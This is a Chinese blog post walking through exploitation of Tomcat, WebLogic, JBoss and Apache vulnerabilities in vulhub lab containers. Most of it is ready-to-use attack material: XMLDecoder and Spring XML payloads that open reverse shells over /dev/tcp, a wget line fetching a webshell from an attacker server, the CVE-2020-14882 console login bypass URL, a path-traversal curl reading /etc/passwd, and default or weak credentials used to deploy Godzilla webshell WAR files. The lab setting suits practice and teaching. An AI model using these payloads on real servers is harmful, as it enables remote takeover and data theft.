Tomcat,WebLogic等中间件漏洞实战解析

发布于:2025-08-01 ⋅ 阅读:(18) ⋅ 点赞:(0)

1.tomact

CVE-2017-12615

首先启动环境,这里所有的漏洞都是在vulhub中的

然后去访问我们的网站

点击打开哥斯拉去生成一个jsp木马

然后打开抓包,刷新一下页面,修改put方法将我们的木马上传一下,这里需要在jsp后加一个/,来绕过对jsp文件的上传限制

然后去访问一下我们上传的1.jsp

可以看到访问成功,我们去用哥斯拉链接一下

后台弱口令部署war包

这里需要启动tomcat8,我们cd到tomcat8中启动一下环境

然后去访问一下

通过弱口令我们登录到后台,点击managerapp,账号密码都为tomcat

登录好后我们将我们上一关所生成的jsp木马压缩一下,修改一下后缀

点击一下,图示所指向的list,然后就可以在下方上传文件了,将我们的war包上传上去

访问一下我们的war包中的jsp文件

最后使用哥斯拉连接即可

CVE-2020-1938

首先cd到我们的CVE-2020-1938中,然后启动环境

这里我们使用脚本来进行

cmd运行我们的脚本文件,注意这里需要用到python2

运行我们的脚本

python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶场的IP

就可以读取到文件了

2.WebLogic

后台弱口令getshell

首先cd到我们的靶场并启动

cd vulhub-master/weblogic/weak_password
docker-compose up -d

访问一下7001端口,这个页面就是开启成功了

我们访问一下console目录,等一会我们的后台登录页面就启动好了

使用弱口令登录即可

weblogic Oracle@123
然后就可以跳到后台页面,这里我们点击部署然后点安装
会跳转到上传的界面
点击上载文件,然后浏览
上传我们之前的war包即可
然后一直点击下一步,到这个页面时点击安装即可
然后就可以看到我们的war包已经被上传成功
然后访问1/1.jsp路径即可访问到我们的jsp木马,使用哥斯拉连接即可

CVE-2017-3506

这个漏洞依旧使用我们上个漏洞开的环境,去访问一下/wls-wsat/CoordinatorPortType,如果存在即有这个漏洞

然后我们就可以构造post请求来反弹shell了,刷新页面然后抓包

然后右键修改请求方法为post方法,这里我们发送到重放器中便于操作

然后添加我们的请求字段同时修改一下请求格式

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/监听机的IP/监听的端口 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

然后开启监听,点击发送即可反弹shell

CVE-2019-2725

这一个漏洞和上一个的步骤都差不多,我们依旧是利用weak_password这个容器

首先我们拼接这个字段/_async/AsyncResponseService来验证一下漏洞是否存在

出现上述页面即为存在,然后和上一个一样,刷新然后开启抓包

修改为POST请求然后发送到重放器,写入我们的请求包,修改类型和上一个一样为text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://服务器IP/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意这里,我们需要在我们的服务器上开启http服务,将我们的木马文件改为txt模式,上传到我们的网站中,让他从我们的网站中下载我们的木马文件,并保存为22.jsp

点击发送即可,可以根据这里的完成判断有没有上传成功

然后访问这个路径即可访问到我们的木马文件,然后去哥斯拉连接即可

CVE-2018-2628

首先启动环境

访问一下

这里我们直接利用工具箱

CVE-2018-2894

首先启动环境

cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

然后我们需要先获取一下密码,因为这一关的密码是随机生成的

然后使用我们的密码去登录即可

然后进入到后台界面,点击base然后再点击高级

然后勾选这个

然后在IP端口后拼接这个目录

修改箭头所指的位置为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交,然后点击安全,点击添加

然后上传我们的木马脚本文件

F12查看一下ID在代码中所对应的值

然后去拼接路径,就可以访问到我们的木马,哥斯拉连接即可

CVE-2020-14882

首先启动环境

cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

通过这个连接可以访问管理控制台,但是需要我们登录

http://IP:端口/console/login/LoginForm.jsp
那么我们可以利用拼接这个路径来进行绕过登录
/console/css/%252e%252e%252fconsole.portal
然后我们可以利用另一个漏洞来远程加载xml文件获取shell通过这个路径来
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

连接两个漏洞

然后就可以构造一个恶意类让他去访问

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
                           
    <bean id="pb" 
          class="java.lang.ProcessBuilder" 
          init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/监听的IP/8888 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
    
</beans>

然后通过这个让我们的靶场去访问这个实体类从而反弹shell

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启http服务的ip/1.xml")

3.Jboss

CVE-2015-7501

启动环境

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

然后去访问

然后拼接这个地址

/invoker/JMXInvokerServlet,如果如下图所示即为存在环境
这里我们利用ysoserial工具来进行操作
https://github.com/frohoff/ysoserial
将反弹shell的语句进行base64编码
然后利用我们的工具生成一个ser文件
然后开启监听,执行这段命令,即可反弹shell
curl http://靶场IP/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d
访问页面
http://靶场IP:端口/jbossmq-httpil/HTTPServerILServlet
然后利用我们的脚本进行攻击
即可反弹shell

CVE-2017-12149

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个地址,如果页面是这个样子即为存在漏洞

http://靶场IP:端口/invoker/readonly

然后利用我们的工具即可https://github.com/yunxu1/jboss-_CVE-2017-12149

Administration Console弱口令

环境沿用上一个

拼接路径去访问一下登录界面

admin vulhub账号和密码,登陆后点击
上传我们之前的war包,然后步骤一样,访问然后连接

低版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

访问这个

账号密码都是admin,登录之后选择这个

然后开启一个http服务,然后将我们的war包上传到网站根目录,将连接写在value栏

注意这里制作war时需要注意,压缩包的名字必须为英文,且与里面的jsp文件不能同名

然后去访问,然后连接哥斯拉即可

⾼版本JMX Console未授权

启动环境

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问这个路径

账号密码admin vulhub,点击这两个地方

然后在这里,和上一关一样,上传我们服务器的war包

然后访问,哥斯拉连接即可

4.Apache

CVE-2021-41773

这一关需要我们拉取环境

docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

然后用命令即可查看网站上的文件

curl http://靶场IP/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd


网站公告

今日签到

点亮在社区的每一天
去签到